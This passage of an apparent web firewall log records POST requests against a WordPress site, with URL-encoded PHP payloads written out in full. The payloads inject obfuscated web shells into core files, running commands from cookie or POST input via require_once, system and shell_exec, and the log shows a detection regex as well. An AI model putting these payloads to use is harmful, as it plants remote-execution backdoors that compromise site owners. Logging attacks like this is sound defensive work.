527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:37:36","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nRF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/gallery.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B25-25%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B2%252B1%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B78-74%255D%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520function%2520right_pad_string%2528%2524dchunk%2529%2520%257B%2520%2524holder%2520%253D%2520%2524_COOKIE%253B%2520%2524elem%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252785695c9e%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524elem%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524holder%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524elem%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520fopen%2528%2524elem%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524mrk%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524mrk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524elem%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524elem%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522right_pad_string%2522%2529%253B%2520%2524item%2520%253D%2520%2522b9968453859463ebd3e6430924807e65%2522%253B%2520if%2520%2528%2521strncmp%2528%2524item%252C%2520%2524holder%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522service_registry_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:39","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:5308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nPe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:37:43","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/archives.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524app_initializer5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524app_initializer6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D%255Cx5Fge%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74ents%2522%253B%2520%2524app_initializer7%2520%253D%2520%2522p%255Cx63l%255Cx6F%255Cx73e%2522%253B%2520%2524framework%2520%253D%2520%2522h%255Cx65x2bi%255Cx6E%2522%253B%2520%2524app_initializer1%2520%253D%2520%2522system%2522%253B%2520%2524app_initializer2%2520%253D%2520%2522s%255Cx68ell_%255Cx65%255Cx78%255Cx65c%2522%253B%2520%2524app_initializer3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524app_initializer4%2520%253D%2520%2522p%255Cx61ss%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524rec%2520%252C%2520%2524element%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520do%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524rec%255B%2524e%255D%2529%255E%2524element%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520while%2528%2524e%253Cstrlen%2528%2524rec%2529%2529%253B%2520return%2520%2524ptr%253B%2520%257D%2520%2524mrk%2520%253D%2520%2524framework%2528%2524_POST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524mrk%2520%253D%2520service_registry%2528%2524mrk%252C%252085%2529%253B%2520if%2520%2528function_exists%2528%2524app_initializer1%2529%2529%2520%257B%2520%2524app_initializer1%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer2%2529%2529%2520%257B%2520print%2520%2524app_initializer2%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer3%2529%2529%2520%257B%2520%2524app_initializer3%2528%2524mrk%252C%2520%2524data_chunk_rec%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_chunk_rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer4%2529%2529%2520%257B%2520%2524app_initializer4%2528%2524mrk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524app_initializer5%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer6%2529%2520%2526%2526%2520function_exists%2528%2524app_initializer7%2529%2529%2520%257B%2520%2524element_ptr%2520%253D%2520%2524app_initializer5%2528%2524mrk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524element_ptr%2529%2520%257B%2520%2524pset_component%2520%253D%2520%2524app_initializer6%2528%2524element_ptr%2529%253B%2520%2524app_initializer7%2528%2524element_ptr%2529%253B%2520print%2520%2524pset_component%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:5308\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 